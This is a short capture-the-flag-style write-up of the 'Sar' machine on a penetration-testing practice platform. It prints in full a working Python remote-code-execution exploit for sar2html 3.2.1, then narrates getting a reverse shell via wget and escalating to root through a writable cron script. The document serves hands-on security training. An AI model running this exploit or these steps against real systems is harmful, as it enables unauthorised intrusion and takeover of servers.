Sar

This is my first Proving grounds machine.

Starting with an nmap scan and i find 2 ports open. Ports 80 & 22

Starting attack off with port 80

visiting the webpage, we have a default apache web page, nothing in comments

Looking at the robots.txt & we have somthing interesting.

now visiting the new endpoint

i did a little research & found a known exploit for this which we’ll use to exploit;

now poc;

# Exploit Title: sar2html 3.2.1 - 'plot' Remote Code Execution
# Date: 27-12-2020
# Exploit Author: Musyoka Ian
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Ubuntu 18.04.1

#!/usr/bin/env python3

import requests
import re
from cmd import Cmd

url = input("Enter The url => ")

class Terminal(Cmd):
    prompt = "Command => "
    def default(self, args):
        exploiter(args)

def exploiter(cmd):
    global url
    sess = requests.session()
    output = sess.get(f"{url}/index.php?plot=;{cmd}")
    try:
        out = re.findall("<option value=(.*?)>", output.text)
    except:
        print ("Error!!")
    for ouut in out:
        if "There is no defined host..." not in ouut:
            if "null selected" not in ouut:
                if "selected" not in ouut:
                    print (ouut)
    print ()

if __name__ == ("__main__"):
    terminal = Terminal()
    terminal.cmdloop()

now we can get a reverse shell of course 😉

I got a copy of the pentest monkey php reverse shell to my local machine, then hosted a http python server & uploaded reverse shell with wget on victim machine;

now we can stablize the shell, get user.txt & enumerate to elevate privilege;

looking around, we find a crontab running that lets the root user to execute a finally.sh file which in turn executes a write.sh file.

Apparently we can’t write to finally.sh file but can for write.sh

So i uploaded a php reverse shell, edited the write.sh file to call my newly uploaded php reverse shell script which gives me a root shell after the crontabs runs.

And we can read root files even root.txt 😉

####RESOURCES https://www.exploit-db.com/exploits/47204

https://portal.offensive-security.com/proving-grounds/play